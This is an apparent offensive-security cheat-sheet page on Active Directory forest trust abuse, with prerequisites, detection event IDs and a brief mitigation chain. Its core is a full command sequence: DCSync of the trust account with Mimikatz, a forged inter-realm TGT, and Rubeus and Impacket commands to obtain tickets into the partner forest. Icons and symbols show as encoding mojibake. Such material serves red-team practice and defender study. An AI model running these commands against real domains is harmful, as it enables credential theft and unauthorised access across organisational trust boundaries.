title: "Attack #69 β Forest Trust Abuse Cross-Forest Ticket Forging" description: "When two forests have a forest trust, users from one forest can access resources in the other (if explicitly permitted). An attacker who compromises theβ¦" category: active-directory subcategory: "Trust Abuse" tags: ["active-directory", "kerberos", "credential-access", "hashing"] tools: ["Impacket", "Mimikatz", "Rubeus", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Nine/πΆ Attack #69 β Forest Trust Abuse Cross-Forest Ticket Forging.md"#
πΆ Attack #69 β Forest Trust Abuse / Cross-Forest Ticket Forging#
π How It Works#
When two forests have a forest trust, users from one forest can access resources in the other (if explicitly permitted). An attacker who compromises the inter-realm trust key (the password of the FOREST2$ trust account) can forge inter-realm TGTs to access the trusted forest. Unlike intra-forest trusts, SID filtering IS enforced on forest trusts β so the ExtraSids trick from Attack #68 won't work. Instead, the attacker must target shared/delegated groups that have been granted access across the trust.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| KRBTGT hash (your domain) | Or the inter-realm trust key |
| Trust relationship exists | Bidirectional or one-way forest trust |
| Shared groups / resources | Foreign domain groups your SID matches |
π» Full Commands#
# ββ Enumerate trust relationships βββββββββββββββββββββββββββββββββββββββββββββ
Get-ADTrust -Filter * | Select Name,Direction,TrustType,ForestTransitive
# ββ Dump inter-realm trust key ββββββββββββββββββββββββββββββββββββββββββββββββ
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:partner$" exit
# partner$ = the trust account for partner.com forest trust
# ββ Forge inter-realm TGT βββββββββββββββββββββββββββββββββββββββββββββββββββββ
kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-<corp_SID> /rc4:<trust_key_hash> \
/service:krbtgt /target:partner.com /ptt
# This creates a referral ticket to the partner forest
# ββ Request TGS in the foreign forest βββββββββββββββββββββββββββββββββββββββββ
.\Rubeus.exe asktgs /ticket:<inter-realm_TGT> \
/service:cifs/PARTNER-DC.partner.com /dc:PARTNER-DC.partner.com /ptt
# ββ Impacket ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ticketer.py -nthash <trust_key_hash> \
-domain-sid S-1-5-21-<corp_SID> \
-domain corp.local \
-spn krbtgt/partner.com \
Administrator
export KRB5CCNAME=Administrator.ccache
# Then access permitted resources in partner.com
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4769 | Security Log (DC) | TGS request from external forest |
| 4768 | Security Log (DC) | Inter-realm TGT referral |
π Attack Chain Context#
[Forest Trust Abuse] βββ Cross-forest lateral movement via trust key
β
ββββ β οΈ SID filtering BLOCKS ExtraSids on forest trusts
ββββ π Must target groups explicitly shared across trust
ββββ π Defeated by: selective authentication, minimize trust scope
β Attack #69 β Forest Trust Abuse complete.